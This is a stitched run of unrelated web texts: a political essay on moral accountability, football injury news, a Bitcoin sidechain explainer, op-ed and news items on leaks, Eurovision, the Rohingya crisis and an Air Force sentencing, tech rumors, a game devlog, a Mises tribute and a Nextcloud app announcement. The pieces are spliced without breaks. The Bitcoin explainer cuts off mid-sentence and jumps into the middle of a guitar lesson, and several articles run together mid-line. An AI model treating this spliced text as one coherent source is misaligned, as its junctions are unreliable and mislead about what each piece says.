The result of this? Well, those evils could be normalized. They could be re-imagined and re-titled, festooned with bits of intellectualization that, if you squinted, might disguise what was at their heart and the heart of the people who conceived them. It also prevented those Americans who would go to the ballot box in favor of politicians enacting such virulent policy from reckoning with how their votes reflected on them. They could vote for party rather than morality because the lie that these two things were different had become so commonplace. Just as the history of the American Civil War had been rewritten in political as opposed to personal terms (“It was about small government and States’ Rights, not slavery! Slave owners wanted the government out of their hair! They didn’t actually hate Black people!”), so too was everything else. Voting for an openly homophobic candidate didn’t make you homophobic! You could overlook the problematic policies of your candidate instead of reckoning with your political choices! No need for self-reflection. No need to question why you supported what you supported. No need to deal with the anxiety or emotional penance of lending a hand to systemic abuse. America could just sit back, and let it all fester.
Republican support for Trump, despite behavior they claimed to find personally disgusting, was rationalized as a purely political calculation. They supported him because he represented their party, because he could help them enact their political agenda. They told themselves that there was a difference between who he was as a person, and who he was as a political figure and tool for policy. Sure, he’s a vile misogynist. Certainly, he’s virulently xenophobic and racist. But, he’s a Republican, and that’s what matters. The Republican support (lawmakers and voters, alike) of Donald Trump was entirely predicated on the lie that policy and personality were somehow different, that a vote for Trump was just a vote for party, that the vote and the candidate did not reflect on the voter. After decades of hearing that they could vote for terrible people and support terrible political ideas without being terrible themselves, voters were put in the position where a horrid person with horrid ideas promised them comfort and pride, and one of the few attempts to hold accountable those who saw this trade-off as logical and worthwhile was derided as mean-spirited.
So, how did that bullshit work out?
This is all a very long-winded way of saying that there’s a real danger and dishonesty to denying that moral accountability should be kept out of our understanding of politics. One need only scan the political horizon to see what the result of that dishonesty looks like.
It’s the responsibility of every single person to acknowledge the personal import of our political choices. Why are we willing to accept certain trade-offs? What do we consider our breaking point in terms of what we’ll stand for? What does that say about us?
It’s also our responsibility to reject the idea that the comfort of assuming those who do evil are secretly not all that bad, simply because that evil isn’t being delivered unto us. It’s our responsibility not to flee from the confrontation inherent to holding others morally accountable for the policies they support. To privilege civility over honesty has only ever let those who have shown zero concern for civility in the past to shamelessly enact dangerous ideologies without fear of being called out, truly taken to task. To separate the personal from the political, to act as though they are planets outside of one another’s gravity, is to provide a loophole for the reprehensible to sneak by without being termed as such and for those who support it to do so without consequence. It allows us to act as though there’s unacceptable cruelty (say, the KKK) and acceptable cruelty (politically supported anti-Blackness), because one is personal, the other political, and the two are unrelated.
As Preet Bharara tweeted, character and temperament are certainly the problem here. But so is party, so is policy, so is ideology. Because these things are not different. They never have been, and—in a government composed of people—they absolutely never will be. We cannot allow a party that bakes misogyny deep into its policy to avoid the scorn handed to an open misogynist, simply because the latter says “grab ’em by the pussy” on camera, and the former has the decency to use only the gentlest of language when robbing women of their autonomy via legislation.Sergio Aguero is fit and available for selection for this weekend’s trip to Leicester.
The striker was substituted at half-time during Argentina’s game with Nigeria on Tuesday and taken to hospital for tests after suffering a dizzy spell.
But he returned to Manchester on Wednesday as planned and Pep Guardiola says he is in contention to face the Foxes at the King Power Stadium on Saturday.
“He arrived two days ago and the doctor says he’s perfect,” Guardiola said.
“He was conscious all the time in Argentina and he’s okay. Nothing to be worried about.”
Meanwhile, captain Vincent Kompany is close to recovering from the calf injury that his kept him out of the side since the win over Bournemouth in August.
He suffered the problem on international duty with Belgium but he is back in full training and could come in for the suspended Nicolas Otamendi at the King Power Stadium.
Guardiola also confirmed that Raheem Sterling’s back injury has improved significantly - but says Fabian Delph remains a doubt with a calf problem that kept him out of England duty for the recent games against Germany and Brazil.
“I have something in mind to replace Otamendi,” Guardiola said.
“We have Mangala, maybe Kompany can come back. Kyle [Walker] can play there.
“Delph I don’t know if he will be able because in four sessions he trained two. Hopefully we can recover him because he is so important.
"Raz had big problems in the last period - he played the last two games with pain in his back and made a huge effort to play against Napoli and Arsenal - but he is much, much better and hopefully he can play.
"He is much better than before.”With sidechains, altcoins are obsolete, Bitcoin smart contracts are possible, Bitcoin Core and BitcoinXT can coexist, and all hard forks can become soft forks. Cool upgrades to Bitcoin are on the way!
Update: This project now has its own website! See the literature page for the latest changes.
Intro
Agenda
Explain the principles of the sidechain-concept, and what problem must be solved to make sidechains possible. Explain how an SPV proof works. Propose my own SPV proof (“Drivechain” - skip there now), and explain the relevant economic and technical tradeoffs. FAQ at the end, for those who read minimally (including comparison to Blockstream’s Appendix B).
Reminder
Sidechains allow Bitcoin to be fully programmable. Unlike the ‘smart contracts’ of a general environment like Rootstock/Ethereum, each individual sidechain is completely “opt-in”: by default, users won’t be affected at all by any new programming.
Existing Work
In Appendix B of the sidechains whitepaper, the authors declined to provide a full design, and warned that “this discussion is not exhaustive; optimizing these tradeoffs and formalizing the security guarantees is out of scope for this paper and the topic of ongoing work.”
That’s what we’ll be doing here.
“What is a two way peg?”
A two way peg allows one to transform ‘vanilla’ Bitcoin into all the other ‘flavors’ of Altchain one might imagine…and back. The total quantity of money (‘ice cream’) remains the same. This combines the best of both worlds: developers can modify Bitcoin however they like, but users can keep their BTC away from any new rules (“new vulnerabilities”) that they don’t like.
Explained another way: a 2wp enables you to “buy” and “sell” Altcoins at a fixed rate. You could take 3 BTC, use them to purchase 3 side-Litecoin at a fixed 1:1 exchange rate, send those Litecoin to a friend on the Litecoin-chain, and then this friend can then redeem them at the same same 1:1 exchange rate (for exactly 3 BTC, which re-appears on the Bitcoin chain). Unlike today, every Altchain would start with a zero quantity of coins, and so the total number of coins, of all types, would always sum to “21,000,000” (ie, “the ‘current total number of BTC’, a value which asymptotically grows to 21 million).
The question is: how do we pull that off? I will first describe the problem and then my solution.
Problem Statement
We want to satisfy two constraints: [1] allow some BTC to change their transfer-rules, [2] prevent the original BTC from being affected by these new rules.
Moving to New Rules (“The Easy Part”)
Requirements
It is easy to get coins to change their protocol rules: we can already do that, with Altcoins.
However, that is a one-way transfer, and we need ours to be “two way”. Transactions must go “from Mainchain to Sidechain” (way #1), as well as “from Sidechain to Mainchain” (way #2).
Since they are going to be two different chains, a “round trip” of a BTC to-and-from the sidechain would involve a total of four new things:
A BTC, owned by A, leaves the original chain (“Transfer Out of the Mainchain”). Then, A’s BTC appears on the Sidechain (“Transfer Into the Sidechain”). Later, the very side-BTC in #2 (now owned by B) leaves the Sidechain (“Transfer Out of the Sidechain”). Finally, that BTC (owned by B) reappears on the original Bitcoin blockchain (“Transfer Into the Mainchain”).
We’re Halfway There Already
Hopefully it is clear that the “xfer Outs” are very easy to do: your Bitcoin is your property, and you can already send it to any address you want, including addresses which imprison the BTC forever.
In fact, we’re (3/4)ths there!
Ultimately, moving “from Main to Side” isn’t going to be a problem either. That’s a “one way peg” and was described by Adam Back (and others) in 2013.
It is easy, because the two chain-types have different advantages: [1] the Sidechain can adopt any rules we require (after all, we’re designing it as we speak), and [2] the Mainchain will (we assume) [a] always exist and [b] always have a healthy amount of mining power behind it.
So, we can simply design the Sidechain such that it must watch the Mainchain for “coins imprisoned a specific way”. Anyone wishing to transfer between the two chains, is certainly using (if not “running”) a full node of each.
Specifically:
Joe instructs that 12 of his BTC be moved from one of his BTC (mainchain) addresses to one of his CosbyCoin (sidechain) addresses. Joe’s software creates a transaction such that it contains an OP_RETURN “xfer out”, where the extra data is simply Joe’s CosbyCoin address. Obviously, this transaction is valid. Joe’s mainchain-BTC is transferred away (we will defer our explanation of where these BTC go until later), and the OP_RETURN data enters the Bitcoin blockchain. The CosbyCoin protocol (being aware of the Bitcoin blockchain) allows Joe to validate a transaction which generates 12 BTC at his CosbyCoin address. This transaction references the transaction in steps 1-3. This transaction “confirms” after 6 (?) blocks (remember that this chain can have new rules of any kind, and might have a 10 second blocktime, or a 20 year blocktime, or outright remove blocking/mining altogether).
Figure: it is easy to do one-way pegs. Nothing is required of Bitcoin at all (in fact people might already be one-way pegging to Bitcoin…we’d never know, and we can’t stop them).
So, it’s been quite easy (so far).
Moving Back to Old Rules (“The Difficult Part”)
Problem Dog
Getting this last quadrant (lower left) is the real trick.
. Mainchain Sidechain xfer Out Very easy. Very easy. xfer In Difficult. Pretty easy (see immediately preceding section).
Let’s focus on it.
What to Ignore
Recall that our original problem statement included: “[2] prevent the original Bitcoins from being affected by these new rules.”
This implies that, by definition, the Bitcoin chain can’t even be aware of the Sidechain’s rules. Otherwise we’d have a hard fork. However, the mainchain must be aware of the sidechain’s quantity. Otherwise, we would be at the opposite extreme, where we’d instead have an Altcoin. A hard fork directly affects existing BTC, and an Altcoin indirectly affects existing BTC; so, neither extreme meets our definition of sidechain.
“Just Right” Awareness
Instead, we need something which is just aware enough: ignoring the details of each sidechain, but observing the net quantity deposited. If 12 coins go in to Sidechain X, only 12 can come out.
Bitcoin can already do accounting, so (again), even in this ‘problem quadrant’, most of our task has already been done for us.
Only one (hard) problem remains: if one message from sidechain X says “these 12 X-coins belong to Fred’s BTC address”, and a different message from sidechain X says that, instead, “these 12 X-coins belong to George’s BTC address”, Bitcoin (the mainchain) needs a way to tell which message is from “the real X”. Put another way, our solution is a validation-rule which ‘condenses’ the numerous off-chain tx (all of the [new] tx-validation rules of the sidechain) into a single, general, on-chain BTC validation rule (ie, “something that Bitcoin can understand”, “valid or not valid”).
It needs to transpose validation from the “per transaction” domain (left column) to the “per chain” domain (right column).
And that’s not all.
To be protocol-compatible, someone who installed Bitcoin in 2012 (and never updated it, and refuses to update it for us) must be able to tell if these transactions are valid or not! So, we must do all of this, without creating any new validation rules. We can only use the existing ones.
Pretty tricky, right?
Well, the only reason Joe could have, for ‘depositing’ his 12 BTC to the sidechain, would be “to use them for something”. All uses, of “digital value tokens”, are inherently transactional: either [1] Joe will literally transact (in some different-than-Mainchain way: lower fees, ‘faster’ blocks, more privacy, …) and send money to someone else, or [2] he will employ some new kind of contract (notarizations, purchases, wagers, etc) which will transact for him, automatically.
So, a sidechain is only useful if it allows a Bitcoin to change ownership. Yet, when it comes time to “withdraw” (sidechain-to-mainchain), how can the mainchain know who the new owners are? It can only do this if it knows that the withdrawals are valid (which, by definition, requires us to know that we are on a valid chain).
How do we validate the chain, without validating its transactions? Well, we take something that we already do, and we use it a few more times.
The SPV Proof
By trusting miners (to act just-selfishly-enough), we can sacrifice a little security to gain a lot of flexibility.
SPV (Simplified Payment Verification) of Today
SPV is the process by which a “light client” (not running a full node), simply relies on miners for validation.
( In Satoshi’s elegant prose: “He can’t check the transaction for himself, but by linking it to a place in the chain, he can see that a network node has accepted it, and blocks added after it further confirm the network has accepted it.” [emphasis added] )
The logic is that the miners just won’t lie: mining consumes effort, yet only produces maximal benefits while it extends “the” longest valid chain. And, ‘mining work’ can be checked with the blockchain’s headers alone (validating these headers is many orders of magnitude |
beyond the box.
We’re going to focus on licks in position three today that would fit around our “C” form. My method of finding this on the neck is that we have the root on the 5th string and the notes all fall behind the root. Below in Fig. 2 you can see the diagrams for a Bb major chord using this shape along with a 7th chord and the basic 7th arpeggio.
Once you’re comfortable finding this 7th chord in any key, the next step would be to work on the Mixolydian, major pentatonic, and minor/blues pentatonic scale in that position.Democrats have short memory spans. As the mainstream media teams up with the political Left to take down Donald Trump’s presidency, it’s worth maintaining some perspective on White House "scandals" as reported by the self-proclaimed gatekeepers of truth.
Much of the self-righteous indignation directed against President Trump is grounded in hypocrisy. When Democrats cry wolf over Trump unduly influencing law enforcement, one can’t help but think of the egregiously corrupt and highly partisan Eric Holder and Loretta Lynch Justice Departments. When Democrats whine about Trump’s "unsympathetic" immigration policy, one can’t help but wonder where the voices of opposition were during former President Bill Clinton's State of the Union speeches.
Now as the MSM goes berserk over reports of Trump allegedly revealing classified information from an ally to Russia, let’s take a trip down memory lane and recall the countless times that former President Obama, the bejeweled darling of the Left, did something that Democrats are now calling "treasonous," "unpatriotic," and "traitorous."
Here are five times the Obama administration leaked classified information:
1. That time Obama’s CIA director leaked top-secret information about Seal Team 6. "In 2011, former CIA Director Leon Panetta revealed top secret information about the Osama Bin Laden raid," reports The Federalist, adding:
Panetta reportedly revealed the name of the Navy SEAL unit that carried out the raid and named their ground commander at a ceremony where “Zero Dark Thirty” writer Mark Boal was in attendance, according to a report by the inspector general at the Department of Defense. Panetta reportedly assumed all 1,300 people in attendance at the event had adequate security clearances to hear the top-secret information about the Seal Team 6 raid, according to Politico. The report detailing Panetta’s oversharing flies in the face of the Obama White House’s claims they had never shared any classified information with anyone they shouldn’t have.
2. That time an Obama defense official leaked secret information about Israeli military operations against Iran. As Ben Shapiro pointed out, "An anonymous 'US defense source' [leaked] to the Times of London that Israel had cut a deal with the Saudis to use their airspace to strike Iran. The deal [was] scuttled." The official leaked the classified information of key ally Israel in June 2010, just as the Obama administration was gearing up to take a harsher stance against the Jewish State’s settlement building activities.
3. That time a high-ranking official in Obama’s Joint Chiefs of Staff leaked classified information about cyber attacks against Iran’s nuclear facilities.
Here’s The Federalist again:
In 2010, Gen. James Cartwright, then vice chairman of the Joint Chiefs of Staff, allegedly leaked to reporters classified information about cyber attacks on Iran’s nuclear facilities. He reportedly shared documents about a highly sophisticated virus used to foil Iran’s nuclear program to members of the media, but there was no outrage from the press about these disclosures. Cartwright pled guilty last October to giving false testimony to FBI agents about his involvement in the leaks, only to be pardoned by President Obama days before he left the White House. Yet this got very little air time on cable news channels.
4. That time Vice President Joe Biden publicly revealed the highly secret identities of the SEAL Team Six Members behind the Osama Bin Laden assassination operation. The leaks directly endangered the lives of the SEAL members. The Washington Examiner reports on Biden's infamous revelation:
His reckless action put at risk the lives of every member of SEAL Team 6. The Taliban and other jihadists eager to avenge bin Laden now knew which unit to target. Stunned and shocked, SEAL members immediately realized they were going to be hunted by al Qaeda sympathizers. Karen Vaughn, the mother of slain SEAL Aaron Vaughn, says that within hours after Mr. Biden’s comments, her son called to tell her to wipe away every piece of information regarding the family on social media, Facebook and Twitter. “I never heard Aaron that afraid in his life,” Mrs. Vaughn said in an interview. “He told me: ‘Mom, we’re picking up chatter. We’re not safe. You’re not safe. Delete everything.’” According to Mrs. Vaughn, Mr. Biden essentially placed a bull’s-eye on her son’s back — and that of all the other SEALs. He leaked classified information. SEAL Team 6 is a covert unit, which is supposed to operate in the shadows. This is how they are able to conduct deadly raids on terrorist groups.
5. All those times the Obama administration leaked classified information about highly dangerous Israeli military operations in Syria. Shapiro notes that on at least two occasions, the Obama administration revealed classified about defensive and counter-offensive Israeli military strikes against Assad:
May 2013: Members of the Obama Pentagon leak information that Israel attacked the Damascus airport to stop a shipment of weapons to terrorist groups. Obama officials actually had to apologize for this leak, since it endangered American lives. They blamed “low-level” employees. June 2013: The Obama administration leaks specific information regarding Israeli Arrow 3 anti-ballistic missile sites. Weeks later, US sources tell CNN that Israel attacked a Syrian installation full of Russian-provided missiles. The same month, “American intelligence analysts” tell the New York Times that Israeli strikes had not been effective. All that information was classified.
Syria is a close ally of Iran. By leaking this information, the Obama administration compromised Israel’s national security, leaving the Jewish State vulnerable to retaliation from Iran, a country that has repeatedly called for the complete annihilation of Israel, and Russia, another key Assad ally.In May Eurovision fans rejoiced when “Love Love Peace Peace” finally hit the iTunes store.
And today the song’s author Edward af Sillén gave fans even more reason to smile by re-imagining the lyrics following Eurovision 2017 in a post on his Facebook page.
Built around the over-the-top tricks and playful flourishes countries deploy in the hope of winning, the new lyrics draw on the thrills and spills of the contest in Kyiv.
From DiHaj’s dancing horse to Francesco Gabbani’s monkey, and from Slavko’s hair plait to Sunstroke Projects’ bridesmaids, it’s a lovely walk down memory lane — and one lined with the WTF moments we all know and love.
There are also references to Russia’s banned singer Julia Samoylova (“Just stay away from Krim and you will be the best”), a Croatian ego-maniac and Jamala’s streaker.
Love Love Peace Peace – 2017 Version (lyrics)
Let the song begin with power
Even if you can’t go on.
Then on stage you take a shower,
with a man dressed like a swan.
Look into the tv-camera
So the audience will know
That you’re lovable, not desperate
L.E.D begins to glow.
Fill the stage with light
As monkeys will join us
The expectations grow
It’s time for the chorus!
Love love peace peace
And a horse head on a ladder
Peace peace love love
And a man with a giant plait!
Love peace peace love
Just stay away from Krim and
you will be the best,
And win the Eurovision Song Contest
Now we’ll enjoy a song,
it’s beautiful,
from Ukraine’s Jamala!
She’s all alone up there,
until a man
jumps on the stage at last!
And shows his ass!
Love love peace peace
And a wedding from Moldova
Peace peace love love
And a treadmill for the Swedes
Love peace peace love
The Romanians are yodeling!
Bring your saxophone!!
Love love peace peace
A Croatian ego-maniac
Peace peace love love
More twerks in the monkey suit!
Love peace peace love
And we can guarantee
That you will be the best
And win the Eurovision Song Contest
And win the Eurovision Song Contest!
LOVE LOVE PEACE PEACE: HOW TO WIN EUROVISION
Hilarious, insightful and performed with pizzazz, “Love Love Peace Peace” is the most well-received Eurovision interval act of recent memory.
Written by beloved Swedish scriptwriter Edward af Sillén and performed by Eurovision 2015 winner Måns Zelmerlöw and comedienne Petra Mede, it was a riotous guide on how to create a winning Eurovision song. Including obscure traditional instruments and wearing outré costumes helps. But it’s most important to sing about love and peace. The original lyrics highlights these elements.
(1) “A powerful majestic start — maybe a battle horn of some kind.”
(2) “Drums — there has to be drums. It doesn’t hurt if the drums are played by gorgeous topless men. Alternatives? use a grandmother.”
(3) “Show the viewers your country’s ethnic background by using an old traditional folklore instrument that no one has ever heard of before.”
(4) “Nothing says winner like a violin. Trust us: Bring a violin.”
(5) Make it current “by adding a DJ who pretends to scratch.”
(6) “Costumes — you need to be memorable, something the viewers will notice.”
(7) “The song. Everything else might be important, but the song is essential. Let it be about something everyone can connect to. Love works. Peace is also a popular way to go.”
(8) “Go for it and don’t look back!”
Read more Sweden Eurovision newsOn September 14 the Guardian released a video allegedly depicting burning facilities in Myanmar's Rakhine and people crossing a river while fleeing the region. The media outlet specified that the footage had not been independently verified due to limited media access to the region but noted that it “prompted accusations” against the government.
Two clips allegedly originating from Myanmar's Rakhine State have been released by The Guardian on Thursday; according to the media outlet, the video was sent by Rohingya villagers escaping the region amid the recent crisis.
The first video footage shows a fire burning at the distance with a voice saying that on September 11, 2017, at 4 p.m. local time (GMT + 6:30), Myanmar's military and Border Guard police set fire to a village. It was also said that "there are nearly 200 houses in this village tract."
The second clip depicts people crossing a river and hiding in the jungle.
The media outlet pointed out that "the footage has not been independently verified by The Guardian as media access to the area is strictly controlled."
The Guardian also referred to satellite evidence obtained earlier by Amnesty International (AI), a non-governmental organization focused on human rights.
On September 14, the human rights watchdog reported "new evidence pointing to a mass-scale scorched-earth campaign across northern Rakhine State." AI claimed to have carried out a comprehensive analysis of "active fire-detection data, satellite imagery, photographs and videos from the ground, as well as interviews with dozens of eyewitnesses in Myanmar and across the border in Bangladesh."
© REUTERS / Mohammad Ponir Hossain UNSC Expresses 'Deep Concern' Over Situation in Myanmar After Closed Session on Rohignya Crisis
Judging from this evidence, the watchdog has come to the conclusion that "an orchestrated campaign of systematic burnings" of Rohingya villages has been going on for almost three weeks.
"The evidence is irrefutable — the Myanmar security forces are setting northern Rakhine State ablaze in a targeted campaign to push the Rohingya people out of Myanmar," Tirana Hassan, Amnesty International's crisis response director said, as cited by the AI website, insisting that the situation in Myanmar amounts to "ethnic cleansing."
The human rights watchdog writes that it has managed to detect at least 80 large-scale fires in northern areas of Rakhine State since August 25.
Speaking to Radio Sputnik in early September, Chris Lewa, director of The Arakan Project, a nonprofit organization monitoring the situation on the ground in Rakhine State, raised the alarm over arsonist attacks against Rohingya villages in the region. Lewa characterized the situation on the ground as the worst in the history of the country's Muslim minority.
During a press conference on Wednesday UN Secretary-General Antonio Guterres called attention to the ongoing crisis in Myanmar.
Gutterres called upon the Burmese government "to suspend military action, end the violence, uphold the rule of law and recognize the right of return of all those who had to leave the country."
Earlier Russian Foreign Ministry spokesperson Maria Zakharova warned that excessive pressure on the authorities of Myanmar could only lead to an aggravation of the situation in the country, adding that Myanmar's authorities can follow the recommendations of the advisory commission led by former UN Secretary General Kofi Annan.
According to the UN, up to 380,000 people from Myanmar's Rakhine State have fled into Bangladesh since August 25, while more than 1,100 children arrived in the country unaccompanied.
The Rohingya crisis started on August 25 when Muslim insurgents of Rohingya origin attacked security posts in Myanmar's Rakhine State. The tough response by the country's authorities triggered violent clashes.
The conflict originally started about a century ago: Myanmar's Buddhists view the Rohingya Muslim minority as newcomers and outcasts. The latest upsurge in tension has gradually escalated since 2011, hitting its peak in 2012 when thousands of Muslim families sought asylum in special refugee camps on the country's territory or fled to Bangladesh. Yet another escalation started in 2016.SAN ANTONIO (Reuters) - An Air Force recruiter was sentenced on Friday to 27 years in prison for sexually assaulting women who went to his Houston-area recruiting station to ask about joining the military, a Lackland Air Force Base spokesman said.
Technical Sergeant Jaime Rodriguez, 34, also was reduced in rank to airman basic, the lowest rank in the Air Force, and will be dishonorably discharged when he completes his prison sentence, Lackland Air Force Base spokesman Brent Boller said.
The sentence was the longest prison term yet given in an Air Force scandal involving 21 training sergeants and one recruiter, Rodriguez, accused of offenses ranging from inappropriate sexual relationships with female recruits to rape. One female sergeant was convicted of having inappropriate relationships with male recruits.
The jury convicted Rodriguez on Thursday of aggravated sexual assault, aggravated sexual contact, abusive sexual contact, wrongful sexual contact and indecent exposure, Boller said. Jurors acquitted him on rape and forcible sodomy charges.
Rodriguez had pleaded guilty during his trial to engaging in or attempting to engage in unprofessional relationships, as well as adultery, which is a felony under the Uniform Code of Military Justice.
The jury sentenced Rodriguez, a 13-year Air Force veteran, to two more years in prison than prosecutors had asked for, Boller said. He faced up to 116 years in prison, he said.
The scandal has prompted hearings in the U.S. Congress and major changes in the way men and women receive basic training in the Air Force. It has also left top military commanders across the U.S. armed forces under congressional scrutiny because of their handling of sexual predators in their ranks.0 SHARES Share Tweet
It looks like the earlier rumors about a 4-inch Apple iPhone model next year may hold more credence than we previously expected. Timothy Arcuri, analyst at Cowen and Company has issued a note to investors recently that claims Apple is working on a new 4-inch iPhone model for next year. AppleInsider has gained access to a copy of the note and has published some interesting details from the note.
Although Arcuri doesn’t confirm that the 4-inch model will certainly launch next year, he does believe that it is highly likely that Apple will launch three new iPhone models in 2015. The first two will be the successors to the iPhone 6 and iPhone 6 Plus, while the third model will be a 4-inch version. Unfortunately, according to him, the 4-inch variant of the iPhone next year will not boast of high-end specs like its larger screen siblings. Instead, the new 4-inch iPhone may be similar to last year’s iPhone 5s as far as hardware specs are concerned. It will, however, feature a new design apparently, similar to the new iPhone 6 and iPhone 6 Plus. Interestingly, Arcuri mentions that the new 4-inch iPhone could feature ‘purpose-built low cost components’ from Qualcomm to minimize price of the handset. Apple has so far only used its custom designed chipsets in its iPhones, so if Arcuri is indeed accurate, it would be the first time that Apple will be sourcing major components from Qualcomm. Currently, the only Qualcomm component that Apple uses are modem chips.
The analyst has also claimed that Apple is working on a new iPad model for 2015 that will sport a larger 12.9-inch display size. The new iPad model will apparently be released in the spring, earlier than usual for Apple. The new larger screen iPad model is expected to ‘reinvigorate’ the tablet market and Arcuri believes Apple will be able to ship around 15 to 20 million units of the 12.9-inch iPad initially.
Would you buy a ‘lower end’ 4-inch iPhone over the larger screen iPhone models with better specs?
Source: AppleInsider"All gone - Mankind had lost it all. Hope, empathy, loyalty; lost love. Lost everything worth fighting for."
Posted by phannDOTde on Feb 15th, 2014
Since I reworked the Ship Upgrade screen almost from scratch last week I decided to look into another GUI issue. In the current Version of the main menu there is not enough space for all upcoming Options to fit in the left sidebar. Besides this fact the Sidebar isn’t consistently usable with the Controller.
So I’m working on a new main menu screen giving me a little bit more flexibility on menu point count and will do a new options screen with a few more necessary settings. The only tradeOff I have to face here is that I got one more sub screen to handle I didn’t want to – but what the hack.
Besides the extra Lap on the GUI redo’s I am working on design and implementing new Bosses and improved some Boss tactics. Obviously it would be great to show off some new Screens her but I really don’t want to spoil about the upcoming Bosses and Stages just yet. It would be great for you all to find it out for your self – reveal the Stages, Bosses, Tactics and stuff. Don’t want to take this first surprise away from you just for a few nice Pictures. Hope you all forgive me on this matter.
You can give the Game a try here: Cyberpunk 3776 Demo
All so spend some time going through my Notes and update my planning timeline for the Project. I find it always important from time to time to go through everything regarding a project, check forgotten ideas, and collect all notes into one List to get it out of my short memory brain – to be free to focus again on the most important Tasks first without having the feeling something is gone a be lost.
If you like the game please consider sharing it on your favorit Network since I need all the help I can get to justify the huge amount of time I spend with development.
cheers
PeterWhen Ludwig von Mises first arrived in the United States after escaping from Nazi Europe, and pretty much up until the present day, he was essentially ignored by the mainstream economics community in the United States. It was only through the assistance of American businessmen that he was able to get a job teaching at New York University, and, even then, the work he did had nothing to do with official university activities because he was, effectively, shunned for his uncompromising defense of the free-market.
Earlier this week in The Wall Street Journal, though, Mises is given credit for being one of the few economists in the 1920s to foresee the impending Great Depression:
Mises’s ideas on business cycles were spelled out in his 1912 tome “Theorie des Geldes und der Umlaufsmittel” (“The Theory of Money and Credit”). Not surprisingly few people noticed, as it was published only in German and wasn’t exactly a beach read at that. Taking his cue from David Hume and David Ricardo, Mises explained how the banking system was endowed with the singular ability to expand credit and with it the money supply, and how this was magnified by government intervention. Left alone, interest rates would adjust such that only the amount of credit would be used as is voluntarily supplied and demanded. But when credit is force-fed beyond that (call it a credit gavage), grotesque things start to happen. Government-imposed expansion of bank credit distorts our “time preferences,” or our desire for saving versus consumption. Government-imposed interest rates artificially below rates demanded by savers leads to increased borrowing and capital investment beyond what savers will provide. This causes temporarily higher employment, wages and consumption. Ordinarily, any random spikes in credit would be quickly absorbed by the system—the pricing errors corrected, the half-baked investments liquidated, like a supple tree yielding to the wind and then returning. But when the government holds rates artificially low in order to feed ever higher capital investment in otherwise unsound, unsustainable businesses, it creates the conditions for a crash. Everyone looks smart for a while, but eventually the whole monstrosity collapses under its own weight through a credit contraction or, worse, a banking collapse. The system is dramatically susceptible to errors, both on the policy side and on the entrepreneurial side. Government expansion of credit takes a system otherwise capable of adjustment and resilience and transforms it into one with tremendous cyclical volatility. (…) We all know what happened next. Pretty much right out of Mises’s script, overleveraged banks (including Kreditanstalt) collapsed, businesses collapsed, employment collapsed. The brittle tree snapped. Following Mises’s logic, was this a failure of capitalism, or a failure of hubris? Mises’s solution follows logically from his warnings. You can’t fix what’s broken by breaking it yet again. Stop the credit gavage. Stop inflating. Don’t encourage consumption, but rather encourage saving and the repayment of debt. Let all the lame businesses fail—no bailouts. (You see where I’m going with this.) The distortions must be removed or else the precipice from which the system will inevitably fall will simply grow higher and higher.
That was Mises’ argument in The Theory Of Money And Credit, but he did so much more than that. In Socialism, first published in 1921, Mises laid out in detail the reasons why the centrally planned economy of nations like the USSR could never produce a rational economy and were doomed to failure. He was, of course, proven right in that regard as we learned only twenty years ago. Mises’ magnum opus is Human Action: A Treatise on Economics and while it’s not easy reading it is well worth consuming for even the amateur student of economics.
Here’s hoping people will start taking Mises’ lessons to heart before we make the same mistakes all over again.Nextcloud 11 introduces experimental video and audio call integration through the Spreed app, designed to be easy to install and nicely integrated. We will walk through the current state and some plans for the future.
Introducing the Spreed app
The Spreed app uses the web standard WebRTC for communications. It has been built in PHP to enable easy installation and integration in Nextcloud.
The app is currently experimental, in no small part due to the limitations of the WebRTC technology. Current limitations include:
Scalability.
The peer-to-peer nature of WebRTC means there are limits to scalability. The app is capable of handling about 6 participants in a group video chat but heavily dependent on the network connection quality the participants have. A single server can host quite a number of one-on-one or group calls, they do not create a very heavy load. We are working on adding more capabilities, including ways to increase the number of participants beyond 6 and more using a mediating server in between.
The peer-to-peer nature of WebRTC means there are limits to scalability. The app is capable of handling about 6 participants in a group video chat but heavily dependent on the network connection quality the participants have. A single server can host quite a number of one-on-one or group calls, they do not create a very heavy load. We are working on adding more capabilities, including ways to increase the number of participants beyond 6 and more using a mediating server in between. Browser support
Another limit users will encounter is browser quality. Right now, Firefox and Chrome have decent compatibility on most platforms but breakage is still very frequent.
Another limit users will encounter is browser quality. Right now, Firefox and Chrome have decent compatibility on most platforms but breakage is still very frequent. Firewalls
Last but not least, heavily firewalled corporate networks make it hard to create a reliable connection. For this, Spreed supports a so called STUN server, which helps setting up a connection through firewalls.
Right now, the following features are available:
One-to-one calls
You just need to click on one of the users presented on the list:
This will create a private call between you and that user. The other user will receive a notification saying that you have invited him or her to a private call.
Group calls
There are different ways to create a group call. First you could select one of your Nextcloud groups that appear in the dropdown list.
This will immediately create a group call, adding all users from that group as participants of that call, including yourself even if you are not part of that Nextcloud group. All group members will receive a notification saying that you have invited them to a group call.
Another possibility is to add participants to an existing call. This could be done by selecting the “Add person” option in the call menu.
Public calls
As the name suggests, these calls are accessible for everyone, even people who are not users on your Nextcloud instance. There are also a few ways to start a public call. You can just select the option “New public room”. This will create a public call where you are the only participant. You can then share the link that is showed with your friends and they will be able to join that call. Also, you can still add Nextcloud users by adding them as described in group calls. You can make any call public by selecting the option “Share link” from the call menu.
If you want a call to no longer be public you just need to click on the “Unshare” icon in the call menu. This will convert that call to a normal group call again, and only the participants of that call from your Nextcloud server will be able to enter.
How can I use Spreed video calls?
If you would like to test out Spreed, you can go to the built in Nextcloud app store (the plus in the apps menu) where you can find it. You can learn more about the app in our web app store. After adding the app to your Nextcloud instance, everything will just work out of the box. No further installation steps will be needed.
Future plans
This is just the beginning of what we want to achieve with this app. We are working hard to bring new features, make the app more stable and integrate it deeper in Nextcloud. You can get involved in our github repo by reporting bugs or adding code!http://gty.im/598586804
Jake Rudock Has Been Cut From The Detroit Lions Starting Roster: What Now?
After going 30 for 51, throwing for 333 yards and four touchdowns while throwing one interception, Jake Rudock was cut from the Detroit Lions yesterday leaving only two quarterbacks on the 53 man roster. A lot of hype came behind Jake Rudock this offseason, as he played his final season of college for the Michigan Wolverines and helped them go 10-3, finishing off with a Citrus Bowl win over the Florida Gators. Fans of the Wolverines and Lions were excited to see the former Wolverine stay inside the state and help out the professional team.
